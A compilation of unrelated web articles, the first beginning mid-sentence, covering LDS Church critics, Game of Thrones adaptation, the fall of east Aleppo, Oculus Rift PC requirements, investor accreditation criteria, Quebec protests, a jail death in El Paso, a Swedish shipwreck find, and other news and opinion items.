(like the Polygamy issue)  That the leaders are not inspired and too old to effectively understand and run the modern Church  That the Book of Mormon was written by Joseph Smith or others and is not what it claims to be.  That the revelations surround the practice of polygamy are false and Joseph was wrong to begin the practice of polygamy and Brigham Young was even more wrong for continuing it.  That the Church and its General and Local leaders treat the women of the Church shabbily and will not give them the Priesthood or any autonomous responsibilities like in the old days.  To name a few.  Again, not to confuse those reading this. There is nothing wrong with the questions members might have about these issues and their legitimate concerns. We all have them. Church Leaders have publically stated that recently. The critics have acknowledged that it was said, but have also said that it’s not really true, adding fuel to the fire.  So who are these critics–The New Anti-Mormons. To begin with, there are several websites and chat sites for former members of the Church where they can converse about their grievances with the Church. The comments range from a single complaint to quite vile outbursts. Their stated mission is to inform those non-members and members with doubts about the “real” truth. Similar to the professional Anti-Mormons of the past.  There are also those with blogs and websites that disseminate information that can be construed as critical of the Church. The most prominent being Mormon Stories and its founder and proprietor, John Dehlin. Many here know John and are familiar with his situation and his websites. As you are aware, he was recently excommunicated from the Church for apostasy. And while many would disagree that he should have been excommunicated or was preaching openly against the Church, I found some of his recent rhetoric to be eerily similar to those of the Anti-Mormons:  This slide was taken from the 2014 Mormon Stories End of the Year Update. His stated beliefs echo many of the same things the traditional Anti-Mormons say.  I know many will not agree with me here. And I will also state that I have derived much benefit and knowledge from many of the Mormon Stories podcasts. John is one of a few who have recently come out in open defiance of the Church. Some, who were members, suffered Church discipline as a result.  So I ask you is John and those like him, the New Anti-Mormons?
-As a bibliophile and a TV/film fanatic, I’ve always tried to curtail my expectations for adaptation of books I enjoy. It’s always been my belief that a good adaptation tries to capture the essence of a book rather than mimic it. Blade Runner is a good example of this. The film bears little resemblance to Philip K. Dick’s novella, Do Androids Dream of Electric Sheep? but is excellent in its own right.  When it comes to George R. R. Martin’s epic Song of Ice and Fire, ten hours is simply not enough time to cover everything. More importantly, it would be foolish to even try even if more time was allotted. The show does cover most of the main points with min  or deviations, but that will likely change and the show progresses, even without taking into consideration that the final two books haven’t even been written yet.  There are many differences between TV and books, but the most important with regards to Game of Thrones is pacing. For a series that has hundreds of characters that covers thousands of pages, there’s a lot of downtime in A Song of Ice and Fire. We see this particularly with Daenerys Targaryen, who is given relatively little to do compared to the rest of the series’ major characters. The TV cannot have a character who sits around all season and thus deviation is required. We saw this in season two with the captured dragon plot in Quarth. People can criticize it for not being in the books, but without it we’d be left with a character who mostly roamed around with nothing to do all season.  The pacing also becomes increasingly more confusing with the fourth and fifth books, which take place over roughly the same amount of time and introduce several new POV characters. While the books can get away with this, keeping in mind that neither book received the kind of critical acclaim that the first three received, a TV show can’t. Television doesn’t just one day decide that the lead isn’t the lead anymore.  This requires the show to move certain plotlines along faster than the books do. Theon Grejoy is elevated to POV character in A Clash of Kings, only to disappear for the next two books before becoming important again inA Dance With Dragons. Game of Thrones can’t get away with this. If the producers tried to tell Alfie Allen that his character would be gone for two years, he would go find other work. Further more, people would naturally lose interest.  That’s part of what makes Game of Thrones such a groundbreaking show. Both the books and the show clearly have the Starks as the main protagonists when the story begins. The Starks are responsible for six of the eight POV characters (not counting the prologue) of A Game of Thrones, yet only three of the fourteen in A Dance With Dragons. The books show an increased effort to explore their depth and from the looks of season four, the show does as well.  As the depth expands, so will the deviation. For characters like Theon, Brienne, and Daenerys, we’re starting to get close to where they are in the series as a whole rather than just where they left off in A Storm of Swords.That’s going to anger some fan purists, who want a strict adaptation of the series. But it shouldn’t, especially since the show is going to catch up with the books sooner rather than later.  Game of Thrones should make plot decisions that work for the show and not strictly because that’s the way things happened in the book. Performances from actors like Charles Dance, Diana Rigg, and Richard Madden elevated their character’s significance and that’s not necessarily a bad thing. Robb Stark may not have been a POV character, but it’s hard to argue that he isn’t a more interesting character to watch than his brother Bran.  The big advantage of having POV characters is that the reader is given access to the inner thoughts of a wide spread of characters. We get to see what the Starks and the Lannisters are thinking. In TV, we only get to see what they do. That’s not to say that the POV system isn’t without flaws either. Characters like Sansa are often passive characters in specific scenes between non-POV characters. We have to view these scenes through a biased source. The show doesn’t have those limitations.  The biggest problems with deviations occur when they don’t work. Talisa Stark wasn’t a figure of controversy, but Jamie’s rape of Cersei was a whole different story. While, “it didn’t happen in the book,” is far from the only point of objection to the latter scene, things like that are when the differences between book and show are fully exposed.  While personally, I’ll almost always prefer the book to the screen adaptation, I don’t make a comparison between the two a deciding factor. Book purists should avoid the show entirely, because anger at something for not limiting itself strictly to the confines of what came before it isn’t really fair. Books, movies, and television are all very different mediums that don’t flawlessly translate into one another and that’s okay.
-In a rapid offensive lasting less than a month, forces loyal to Syrian President Bashar al-Assad have recaptured the last opposition enclave in east Aleppo. On Monday evening, the army cleared street after street as artillery and air strikes pounded rebel positions northeast of Ramouseh district. By midnight, only a tiny speck of territory remained in opposition hands and celebratory gunfire lit the darkened skies over west Aleppo. On Tuesday evening, finally, news came of a deal brokered by Russia and Turkey that would see the remaining rebel fighters evacuate to opposition-held territory outside Aleppo, while civilians were to remain in the city under government control.  The collapse of the east Aleppo pocket marks the end of a four-and-a-half year struggle for control over northern Syria’s largest city, often referred to as the country’s industrial and economic capital.  To al-Assad loyalists, this is a great victory. In an email interview, a source close to the government in Damascus spoke of Aleppo’s “liberation from terror groups”, saying that the restoration of army control would “allow the hundreds of thousands of displaced persons to return to east Aleppo”.  There is clearly a sense of relief among government loyalists in Aleppo, who feel that their city may finally be on the path back to normality. On Monday night, the state broadcaster al-Ekhbariya ran loops of footage from street celebrations in pouring rain, where young men fired in the air and honked their car horns as television anchors handed out chocolates.  But to the Syrian opposition, the fall of east Aleppo is a political disaster that threatens to sap morale and undermine international support for the uprising. Yet opposition representatives struck a defiant tone.  “We can’t ignore the fact that the revolutionaries in Syria have been left alone to face a large group of enemies, including the regime, Hezbollah, Iran, Russia, the militias, and Iraq,” Omar Mushaweh, a Turkey-based leader of the Syrian Muslim Brotherhood, told IRIN in an online interview.  But, like other opposition sympathisers interviewed, Mushaweh gave no hint of wanting to surrender. Indeed, with the al-Assad government’s own weaknesses demonstrated by its recent loss of Palmyra to the self-declared Islamic State, no one is under any illusions: the war will go on.  Civilians at Risk  Beyond the political consequences, however, recent events in Aleppo mark the brutal conclusion to four years of human suffering. To Syrians with friends and family in the collapsing rebel enclave, the past weeks have been a nightmare. All through Monday and Tuesday, desperate messages and pleas for help trickled out from east Aleppo through private contacts and social media. Though many civilians had already managed to flee into government-held western Aleppo, the last days of the enclave saw tens of thousands of people thronging the streets.  “People are moving around and fleeing as they can in a very volatile situation, as front lines continue to shift on a daily basis,” Linda Tom, a spokeswoman for the UN’s emergency aid coordination body, OCHA, told IRIN in an emailed comment on Saturday. Tom estimated that more than 40,000 civilians had already been displaced at that point, with a further 100,000 still in rebel-held territory, though she stressed that all figures were uncertain.*  Médecins Sans Frontières has called the fall of east Aleppo one of the worst crises they have seen in years. For some of the displaced civilians, fleeing meant risking everything – not only their lives, but also their homes.  Though the Syrian government claims to welcome and protect civilians fleeing eastern Aleppo, many pro-regime militias are poorly organised and undisciplined, and they have a history of looting and destroying abandoned property. Even the governor of Aleppo, Brigadier-General Hussein Diab, recently complained about the waves of looting that tend to follow every successful army offensive in Aleppo.  Though the UN has reported allegations that rebel groups forcibly prevented civilians from leaving in an attempt to use them as human shields, UN officials have also received reports that military-age men are being arrested after crossing into west Aleppo. Indeed, many civilians in the rebel zone seem to have held off fleeing to government territory until they simply had no other choice. “They have been killing us for so long, why would they have mercy?” one resident told the Washington Post.  The Syrian government is eager to deny any such abuses.  “Men of military age leaving the east are being checked and having their details taken down as part of the amnesty and reconciliation process,” a Syrian colonel working for the man running military operations in Aleppo, Lieutenant-General Ziad al-Saleh, said in a statement provided to IRIN by an intermediary. The colonel stated that those guilty of “severe criminality” will be tried and judged, but insisted that “the state is open to these people returning to their normal lives”.  Indeed, as much as they may want to completely crush the opposition and avenge themselves on rebel fighters, al-Assad’s men seem to realise that a softer touch is in their interest. Aleppo will be seen as a major test case for the government’s strategy of imposing local truces and forcing the evacuation of rebel fighters to peripheral regions like Idlib, as al-Assad shores up control over central Syria and major cities elsewhere.  Nevertheless, as the rebel pocket finally collapsed on Monday and Tuesday, opposition media filled up with references to Srebrenica 1995 and Rwanda 1994, even to the Holocaust. These claims were not backed up by reporting and even overtly pro-rebel media channels had, at the time of writing, produced no evidence of anything remotely similar to these atrocities. According to a spokesperson, the UN had received reports about the killing of 82 civilians at the hands of pro-al-Assad forces on Tuesday. As horrifying as that is, it is no genocide.  That said, the fears of opposition sympathisers in the city are real. Other deaths may have gone unreported and at this point no one is quite sure whether the evacuation deal will hold or what the future will bring. With no outside monitoring of the situation or of the conduct of al-Assad’s forces, there are great and legitimate concerns about the mistreatment of prisoners and vulnerable civilian populations. This gruesome chapter in Syria’s history is still being written.  * A note on the population statistics: Throughout the conflict, the number of civilians in rebel-held eastern Aleppo has been hotly disputed. Until the rebel stronghold finally collapsed, the United Nations had put the number of people in the east city at 250,000-275,000. After the attack began, most UN estimates seemed to add up to around 140,000 civilians. On 9 December, I was told by UN OCHA spokesperson Russell Geekie that in the absence of definite information it would be premature to conclude that the UN number had been too high, though Geekie acknowledged that preliminary figures did seem to point in that direction. During my most recent visit to Damascus in October and November, Syrian officials provided wildly varying estimates that ranged from 97,000 people (according to Foreign Minister Walid al-Moallem) to 200,000 people (according to al-Assad). On December 11, a Damascus-based source close to the Syrian government insisted, in an email interview, that the UN has allowed itself to be misled by opposition activists and told me that in a final count the total number of civilians in eastern Aleppo “will not exceed 100,000.”  (TOP PHOTO: The Masaken Hanano district of east Aleppo. Sevim Turkmani/ICRC)  al/as/ag
-tl;dr – Given the challenges around VR graphics performance, the Rift will have a recommended specification to ensure that developers can optimize for a known hardware configuration, which ensures a better player experience of comfortable sustained presence. The recommended PC specification is an NVIDIA GTX 970 or AMD 290, Intel i5-4590, and 8GB RAM. This configuration will be held for the lifetime of the Rift and should drop in price over time.  The Rift is specifically designed to deliver comfortable, sustained presence – a “conversion on contact” experience that can instantly transform the way people think about virtual reality. As a VR device, the Rift will be capable of delivering comfortable presence for nearly everyone. However, this requires the entire system working well.  Today, that system’s specification is largely driven by the requirements of VR graphics. To start with, VR lets you see graphics like never before. Good stereo VR with positional tracking directly drives your perceptual system in a way that a flat monitor can’t. As a consequence, rendering techniques and quality matter more than ever before, as things that are imperceivable on a traditional monitor suddenly make all the difference when experienced in VR. Therefore, VR increases the value of GPU performance.  At the same time, there are three key VR graphics challenges to note: raw rendering costs, real-time performance, and latency.  On the raw rendering costs: a traditional 1080p game at 60Hz requires 124 million shaded pixels per second. In contrast, the Rift runs at 2160×1200 at 90Hz split over dual displays, consuming 233 million pixels per second. At the default eye-target scale, the Rift’s rendering requirements go much higher: around 400 million shaded pixels per second. This means that by raw rendering costs alone, a VR game will require approximately 3x the GPU power of 1080p rendering.  Traditionally, PC 3D graphics has had soft real-time requirements, where maintaining 30-60 FPS has been adequate. VR turns graphics into more of a hard real-time problem, as each missed frame is visible. Continuously missing framerate is a jarring, uncomfortable experience. As a result, GPU headroom becomes critical in absorbing unexpected system or content performance potholes.  Finally, we know that minimizing motion-to-photon latency is key to a great VR experience. However, the last few decades of GPU advancements have been built around systems with deep pipelining to achieve maximum throughput at the cost of increased latency; not exactly what we want for VR. Today, minimizing latency comes at the cost of some GPU performance.  Taking all of this into account, our recommended hardware specification is designed to help developers tackle these challenges and ship great content to all Rift users. This is the hardware that we recommend for the full Rift experience:  NVIDIA GTX 970 / AMD 290 equivalent or greater  Intel i5-4590 equivalent or greater  8GB+ RAM  The goal is for all Rift games and applications to deliver a great experience on this configuration by default. We believe this “it just works” experience will be fundamental to VR’s success, given that an underperforming system will fail to deliver comfortable presence.  The recommended spec will stay constant over the lifetime of the Rift. As the equivalent-performance hardware becomes less expensive, more users will have systems capable of the full Rift experience. Developers, in turn, can rely on Rift users having these modern machines, allowing them to optimize their game for a known target, simplifying development.  Apart from the recommended spec, the Rift will require:  Windows 7 SP1 or newer  2x USB 3.0 ports  HDMI 1.3 video output supporting a 297MHz clock via a direct output architecture  The last bullet point is tricky: many discrete GPU laptops have their external video output connected to the integrated GPU and drive the external output via hardware and software mechanisms that can’t support the Rift. Since this isn’t something that can be determined by reading the specs of a laptop, we are working on how to identify the right systems. Note that almost no current laptops have the GPU performance for the recommended spec, though upcoming mobile GPUs may be able to support this level of performance.  Our development for OS X and Linux has been paused in order to focus on delivering a high quality consumer-level VR experience at launch across hardware, software, and content on Windows. We want to get back to development for OS X and Linux but we don’t have a timeline.  In the future, successful consumer VR will likely drive changes in GPUs, OSs, drivers, 3D engines, and apps, ultimately enabling much more efficient low-latency VR performance. It’s an exciting time for VR graphics, and I’m looking forward to seeing this evolution.
-Who is investing?  Please give the legal name of the investing entity  Type of investing entity  Individual Trust Company  (includes funds, corporations, partnership, LLC's)  Do you or your company fall into any of these categories?  a person or partnership whose ordinary business or professional activity includes, or it is reasonable to expect that it includes, acquiring, underwriting, managing,holding or disposing of investments, whether as principal or agent, or the giving of advice concerning investments; a body corporate which has net assets in excess of €1,000,000 or which is part of a group which has net assets in excess of €1,000,000; an unincorporated association which has net assets in excess of €1,000,000; the trustee of a trust where the aggregate value of the cash and investments which form part of the trust’s assets in excess of €1,000,000; an individual whose net worth, or joint net worth with that person’s spouse, is greater than €1,000,000, excluding that person’s principal place of residence; a participant who has a current aggregate of €100,000 invested in one or more experienced investor funds; a participant who invests a minimum of €50,000 in an experienced investor fund and who has been advised by a professional adviser to invest in the fund and the fund’s administrator has received confirmation of such advice; a participant who is a professional client, as defined under the Financial Services (Markets in Financial Instruments) Act 2006; a participant in a fund that has re-domiciled to Gibraltar where the Authority has permitted the inclusion of such participant either in respect of a specific fund or generally in respect of funds or a category of funds from a certain jurisdiction;  Any bank as defined in section 3(a)(2) of the Act, or any savings and loan association or other institution as defined in section 3(a)(5)(A) of the Act whether acting in its individual or fiduciary capacity; any broker or dealer registered pursuant to section 15 of the Securities Exchange Act of 1934; any insurance company as defined in section 2(13) of the Act; any investment company registered under the Investment Company Act of 1940 or a business development company as defined in section 2(a)(48) of that Act; any Small Business Investment Company licensed by the U.S. Small Business Administration under section 301(c) or (d) of the Small Business Investment Act of 1958; any plan established and maintained by a state, its political subdivisions, or any agency or instrumentality of a state or its political subdivisions, for the benefit of its employees, if such plan has total assets in excess of $5,000,000; any employee benefit plan within the meaning of the Employee Retirement Income Security Act of 1974 if the investment decision is made by a plan fiduciary, as defined in section 3(21) of such act, which is either a bank, savings and loan association, insurance company, or registered investment adviser, or if the employee benefit plan has total assets in excess of $5,000,000 or, if a self-directed plan, with investment decisions made solely by persons that are accredited investors; Any private business development company as defined in section 202(a)22 of the Investment Advisers Act of 1940; Any organization described in section 501(c)3 of the Internal Revenue Code, corporation, Massachusetts or similar business trust, or partnership, not formed for the specific purpose of acquiring the securities offered, with total assets in excess of $5,000,000; Any director, executive officer, or general partner of the issuer of the securities being offered or sold, or any director, executive officer, or general partner of a general partner of that issuer; Any natural person whose individual net worth, or joint net worth with that person's spouse, at the time of his purchase exceeds $1,000,000, excluding the value of the person’s primary residence, but including any excess liability between the value of the residence and the amount of any obligation(s) thereon; Any natural person who had an individual income in excess of $200,000 in each of the two most recent years or joint income with that person's spouse in excess of $300,000 in each of those years and has a reasonable expectation of reaching the same income level in the current year; Any trust, with total assets in excess of $5,000,000, not formed for the specific purpose of acquiring the securities offered, whose purchase is directed by a sophisticated person as described;  An individual who, alone or together with a spouse, owns financial assets worth more than $1 million before taxes but net of related liabilities; An individual who, alone or together with a spouse, has net assets of at least $5,000,000; An individual whose net income before taxes exceeded $200,000 (or $300,000 in joint income with a spouse) in both of the last two years and who expects to maintain at least the same level of income this year; An individual who currently is, or once was, a registered adviser or dealer, other than a limited market dealer; Financial institutions, governments and governmental agencies, insurance companies, pension funds, registered charities, certain mutual funds, pooled funds, and managed accounts; Companies with net assets of at least $5 million;  A person that has net assets of at least A$2.5 million; A person that has a gross income of A$250,000 for each of the last two financial years; A person has or controls gross assets of A$10 million;  An eligible investor. This is someone who can demonstrate that they have enough experience in buying and selling financial products, that they’re able to make informed decisions about the benefits, risks and values of different investment types.  If you’re an eligible investor, you will understand the type of information you need before making a decision to invest, and will be able to assess when you need to know more. Investment activity. You can show that within the past two years you’ve been involved in significant investment activity.  This means you have owned a financial portfolio worth at least $1 million; or, you have carried out transactions to buy financial products worth $1 million or more. A large investor. Your net assets, or consolidated turnover over the past two financial years, is $5 million or more. An investment business. If you have a professional certification or experience that shows in-depth financial knowledge you could qualify under this criteria. For example, you could be an investment manager, registered financial adviser, broker, underwriter or licensed insurer.  NET Personal assets exceeding SGD 2 million (or equivalent in foreign currency). Income in preceding 12 months of not less than SGD 300,000 (or equivalent in foreign currency). A corporation with net assets exceeding $10 million in value (or its equivalent in a foreign currency) or such other amount as the Authority may prescribe, in place of the first amount, as determined by — (A)the most recent audited balance-sheet of the corporation; or (B)where the corporation is not required to prepare audited accounts regularly, a balance-sheet of the corporation certified by the corporation as giving a true and fair view of the state of affairs of the corporation as of the date of the balance-sheet, which date shall be within the preceding 12 months; The trustee of such trust as the Authority may prescribe, when acting in that capacity; Such other person as the Authority may prescribe.  Trust corporations, with total assets of not less than HK$40 million or its equivalent in foreign currency; Individuals, either alone or with any associates on a joint account, having a portfolio of not less than HK$8 million or its equivalent in foreign currency; Corporations or partnerships having either a portfolio of not less than HK$8 million or total assets of not less than HK$40 million; A corporate investment vehicle that is wholly owned by any of the three categories above.  Institutional investors (pension funds, insurance companies, mutual funds, banks, portfolio managers, etc.); Large companies with equity exceeding ILS 50 million; Hold liquid assets (cash, deposits, financial assets, and securities) of at least ILS 8 million; Have received personal income of at least ILS 1.2 million in each of the two most recent years (or ILS 1.8 million in joint family income); Hold liquid assets of at least ILS 5 million and receive personal annual income of at least ILS 600,000 (or ILS 900,000 in joint family income).  Balance of financial investment instruments of at least KRW 500 million; Annual income of at least KRW 100 million.  Any person holding investments in securities during the prior year in average of approximately US$415,000, or that has obtained, during the two previous years, an annual net income equal to or exceeding approximately US$130,000. Any person holding investments in securities during the prior year in average of approximately US$830,000, or that has obtained, during the two previous years, an annual net income equal to or exceeding approximately US$270,000.
-A video of protesters banging pots and pans on Quebec streets is going viral on social networks.  Posted on Friday afternoon, the beautiful black and white film shows protesters of all ages taking to the streets to protest the emergency law Bill 78. The Vimeo video quickly began showing up all over Twitter and Facebook.  Bill 78 is being called a draconian attempt to quell massive student protests that have taken over Quebec streets for more than 100 days. The bill limits the ability to protest by requiring groups to get police approval for demonstrations and restricting where they can take place, among other provisions.  People took up the percussive protest Thursday night in several towns and cities including Sorel, Longueuil, Chambly, Repentigny, Trois-Rivieres and even in Abitibi -- several hundred kilometres away from the hot spot of Montreal.  They were still loudest in Montreal, where a chorus of metallic clanks rang out in neighbourhoods around the city, spilling into the main demonstrations and sounding like aluminum symphonies.  The pots-and-pans protest has its roots in Chile, where people have used it for years as an effective, peaceful tool to express civil disobedience. The noisy cacerolazo tradition actually predates the Pinochet regime in Chile, but has endured there and spread to other countries as a method of showing popular defiance.  Thursday's protest in Montreal was immediately declared illegal by police, who said it violated a municipal bylaw because they hadn't been informed of the route. They allowed it to continue as long as it remained peaceful.  Usually the nightly street demonstrations, which have gone on for a month, have a couple of vigorous drummers to speed them along their route. At the very least, someone clangs a cow bell.  But in the last few days, the pots and pans protest -- dubbed the casseroles by observers -- have acted like an alarm clock for the regular evening march, sounding at 8 p.m. on the nose in advance of the march's start.  With files from The Canadian Press.  Also on HuffPost
-55 Pages Posted: 19 Apr 2016 Last revised: 10 May 2016  Date Written: April 22, 2016  Abstract  This paper explores the institutional determinants of persecution by studying the intensity of the Black Death pogroms in the Holy Roman Empire. Political fragmentation exacerbated rent-seeking in the Holy Roman Empire. We argue that this fragmentation led to Jewish communities facing more intense persecutions during the Black Death. We test this argument using data on the intensity of pogroms, historical trade routes, ecclesiastical and political boundaries. In line with our model, we find that communities close to Archbishoprics, Bishoprics, and Imperial Free cities experienced more intense and violent persecutions than did those governed by the emperor. We discuss the implications this has for the enforcement of the rule of law in weak states.
-Born and raised on the mean streets of New York City's Upper West Side, Katie Halper is a comedian, writer and filmmaker. She is the host of the Katie Halper Show on WBA1, writes for places like The Nation, Feministing, Jezebel and appears on places like MSNBC, RT, Sirius radio (which hung up on her once). Katie's had her photo taken with Rudy Giuliani and was called "cute and somewhat brainy" by the National Review.  image via youtube  James Brown served two tours in Iraq and was diagnosed with PTSD. In exchange for his service and sacrifice, the 26-year-old father of two died in a Texas jail, where prison guards in riot gear stormed his cell and ignored his cries that he was choking on his own blood and unable to breathe.  James Brown, who reported to an El Paso jail where he was supposed to serve a two-day sentence for driving while intoxicated, died in 2012. While his family suspected foul play, only recently was the local news station KFOX14 able to obtain video recorded by one of the prison guards. The footage, which is extremely disturbing and painful to watch, shows that Brown has started bleeding for unknown reasons. When he doesn’t respond to the prison guard, as many as five guards dressed in riot gear storm Brown’s cell, forcing him to the ground. At no point does Brown appear to be resisting the guards. He does, however, state repeatedly, “I can’t breathe” and, “I’m choking on my blood.” He’s then taken to the infirmary, where he has a mask placed over his face and is given an injection. He continues to state he can’t breathe and, as evident in this exchange, is denied all requests to change his position or have the mask removed:  SGT. JAMES BROWN: Now that’s blocking too much air. That’s over my nose and my mouth. Could you unhook my arm out of this? PRISON GUARD: You need to calm down first. SGT. JAMES BROWN: Can I lay on the floor? PRISON GUARD: No, sir.  SGT. JAMES BROWN: Well, you’re going to have to do one or the other to help my breathing. Please, that’s all I ask. PRISON GUARD: You got to calm down a little bit first. SGT. JAMES BROWN: I will. I just need the mask—please. PRISON GUARD: Relax. SGT. JAMES BROWN: Please. Please. I can’t breathe. I can’t relax. You’ve got to take this mask off, dude, please. PRISON GUARD: Can’t take it off, sir. I’m sorry.  By the end of the video, Brown is left naked in his cell in a non-responsive state. He is not blinking and his breathing is shallow. No ambulance is called. Ultimately, Brown would be brought to a hospital and pronounced dead. The autopsy determined Brown died of natural causes and cites “a sickle cell crisis” as the cause of his death. The El Paso County Sherriff released the following statement to Democracy Now!  Mr. Brown’s death was an unfortunate tragedy. The Sheriff’s Office has conducted a thorough review of the facts surrounding Mr. Brown’s death and, based upon all the evidence obtained, determined that his death was caused by a pre-existing medical condition.  B.J. Crow, the family’s attorney, is skeptical to say the least:  When a 26-year-old active military person checks in to jail for a court-imposed sentence on a Friday, and he leaves Sunday, you know, in a casket, something went horribly wrong there…. He was bleeding out the ears, the nose, the mouth. His kidneys shut down. His blood pressure dropped to a very dangerous level. And his liver shut down.  The tragic irony of Brown’s death was not lost on his mother, Dinette Scott, who told Democray Now!  In that video, I heard my son begging for his life on U.S. soil. This was not his enemy that he was facing. This was a U.S. citizen that was treating him like he was an animal. And it should not be allowed. That should not happen to anyone in the United States  The family has filed a lawsuit against El Paso County.
-A global ban on developing artificially intelligent robot soldiers is needed to protect the future of mankind, a letter from hundreds of leading scientists including Stephen Hawking has warned.  More than 1,000 scientists and businessmen signed the open letter from the Future of LIfe Institute, calling on world leaders to prevent artificial intelligence (AI) technology from being used in a "global arms race".  Apple co-founder Steve Wozniak and SpaceX entrepreneur Elon Musk were also among the signatories of the letter, presented at a major conference in Argentina.  The letter warns that developing weapons beyond existing remote control drones, which could 'think' for themselves without human input, is "feasible within years" - and have the potential to become the "Kalashnikovs of tomorrow".  Launching a question and answer session on Reddit on the topic of AI, Prof Hawking said it was vital that scientists at the forefront of the technology keep the "human factor" at the "front and centre" of developments.
-We all know the Moto 360 is coming “soon”. How soon, you ask? Pretty soon, if you think that at least one tech journalist is wearing it right now, and on national television of all places.  Joshua Topolsky, the editor in chief of The Verge, is Jimmy Fallon’s resident tech guru. As a recurrent guest on Jimmy Fallon’s shows, Josh shows off new gadgets and sometimes demoes them together with Jimmy and his guests. Yesterday, Josh demoed a Lytro camera and Sony’s new VR headset, but what really caught our eye was the Moto 360 that he was so casually sporting.  You can clearly tell it’s a Moto 360, and, at one point, the device lights up with a sleek neon watch face. And, on its official Facebook page, The Verge appears to be teasing the device, so this could be a planned hype-building move, rather than a simple slip-up.  The Verge is in great relationship with Motorola and Google, and has received devices for exclusive advance testing several times before. This is probably what’s happening here, as well, meaning that the Moto 360’s official debut can’t be far. Google I/O, just start already!
-Way back in the spring, Mitt Romney called Donald Trump "a fraud" who "lacks the temperament to be president."  What a difference a couple of months makes. On Tuesday night, he was spotted at four-star restaurant Jean Georges in New York City having dinner with the president-elect. (On the menu: frog legs, scallops and sirloin.)  Romney is in the running to become Trump's secretary of state. The awkwardness of having to dine with a man you once called "a phony" was written all over Romney's face.  In fact, it brings to mind a certain paper salesman who also had to endure the crude jokes of an oafish man who, somehow, found himself in a position of power.  When Jim looks directly into camera pic.twitter.com/F6sJuFmQQk — Jarett Wieselman (@JarettSays) November 30, 2016  The photo of a resigned Romney inspired plenty of other jokes, too.  Mitt Romney is me every time I go on a first date pic.twitter.com/659nSst6rg — Hunter Schwarz (@hunterschwarz) November 30, 2016  I don't know what he's just agreed to do for Trump but it looks bad: pic.twitter.com/ysVSRROBDH — Murtaza Hussain (@MazMHussain) November 30, 2016  *record scratch*  *freeze frame*  Yup, that's me. You're probably wondering how I ended up in this situation ... pic.twitter.com/VC9XZblMGY — Hunter Walker (@hunterw) November 30, 2016  I found the uncropped version of that Trump and Romney photo. pic.twitter.com/VdeLh3QnB1 — neontaster (@neontaster) November 30, 2016  Romney having dinner with Trump. It's even more awkward than a stop-and-chat.  I had to see pic.twitter.com/h47bpJfar2 — Ashley Feinberg (@ashleyfeinberg) November 30, 2016
-A poll worker in Queens, New York appeared on MSNBC with Chuck Todd last night and revealed that Democrats were submitting blank ballots rather than voting for Hillary Clinton or Bernie Sanders. Why? Because they actually wanted to vote for Republican Donald Trump.  New York is a closed primary state, meaning voters must vote for somebody within their registered party. Some Democrats, however, are so disillusioned with the choices coming from their party that they preferred submitting a blank ballot as a way to support Trump.  More from The Political Insider  “What they’re basically doing,” explained the poll worker, “is they’re saying we want to vote for Trump and we say ‘but you can’t, you’re a Democrat.'”  She continued, “Then they say ‘well we won’t vote for anyone.'”  The poll worker relayed that “what they’re doing is they’re putting in a blank ballot.”  “A void?” asked MSNBC reporter Jacob Soboroff.  “A void ballot,” she responded.  Soboroff then concluded, “That is really interesting here in New York, especially if Donald Trump wants to walk out of here with the entire slate of delegates.”  Check out the entire exchange below …  The Political Insider was able to announce Trump’s impressive victory in New York’s Republican primary within seconds of the polls closing last night.  After his huge victory had been decided, Trump said his rivals in the Republican nomination contest cannot catch him, adding that “we don’t have much of a race anymore.”  He also claimed that Ted Cruz had now been virtually eliminated from the contest.  A poll released in January indicated that nearly a quarter of likely Democrat voters were willing to switch parties and vote for Trump in the general election.  Via the Hill:  About 20 percent of likely Democratic voters say they would buck the party and vote for Republican presidential candidate Donald Trump in a general election, according to a new poll. The willingness of some Democrats to change sides could be a major problem for Democratic front-runner Hillary Clinton this fall. The new figures were released by Mercury Analytics, a research company with clients that include MSNBC and Fox News, as the result of an online poll and dial-test of Trump’s first campaign ad. A smaller number of Republicans say they’d vote for Clinton — about 14 percent.  We’re not sure what self-respecting Republican would ever vote for Clinton, so the accuracy of that poll may be debated.  Comment: Is the Trump phenomenon so ‘yuge’ right now that he may even be able to get Democrats to cross over and vote for him?  Read this Next on ThePoliticalInsider.com ‘Avengers’ Star Compares Donald Trump to a Plantation Owner  Do you support Trump? Check out this page dedicated to all things Donald Trump.
-After over two decades of recovering cannons, gold coins, and jewelry from a 340-year-old Swedish shipwreck, marine archaeologists can now add a chunk of cheese to their list of finds.  While exploring the wreckage of the 17th century Swedish royal vessel Kronan, Kalmar Museum researcher Lars Einarsson noticed a small, tin jar buried in the mud at the bottom of the shipwreck. When he brought it to the surface, the decrease in pressure caused some of the contents to ooze out of the container.  “That’s when the smell hit us,” Einarsson told local media. “It’s a pretty good guess that it’s some kind of dairy product, and we think it is cheese.”  The fetid find was revealed on Wednesday along with several other discoveries from the expedition, including a diamond ring and a handful of gold coins.  The Kronan — a Swedish warship that was one of the largest in the world when it set sail in 1668 — was 53 metres long and was equipped with 110 large cannons. It sank off the coast of Ӧland in eastern Sweden in 1676, during a battle with the Danish-Dutch fleet. Historians believe that the ship capsized after making a sharp turn in bad weather, somehow causing a gunpowder explosion near the bow. Out of the roughly 850 people on board, only 42 survived.  The wreckage was discovered in 1980 and is still the largest marine archaeology site in Sweden. More than 30,000 artifacts have been found in the shipwreck, including a hoard of textiles that have given historians insights into how clothes were made in the late 1600s. During an expedition in 1997, divers discovered one of the world’s oldest violins, which likely belonged to one of the ship’s officers.  The latest, smelly find might say something about 17th century tastes, though despite what people often say about cheese and age, Einarsson has his doubts.  “It’s been in the mud, so it’s reasonably well preserved, but at the same time it has been at the bottom of the sea for 340 years,” he said. “I certainly don’t recommend tasting it.”  I think it smells quite nice, because I like exotic food  He described the smell of the substance as a mixture of yeast and Roquefort.  With nearly 90 per cent of the excavation completed, divers will continue to explore the Kronan for three more years. After that, Einarsson hopes that there will be a museum focused on the shipwreck.  For now, the cheese is being kept refrigerated to keep it from decomposing completely. Researchers hope to analyze the gooey substance to determine what its made from.  “I think it smells quite nice, because I like exotic food,” Einarsson added. “But I wouldn’t want to taste it.”
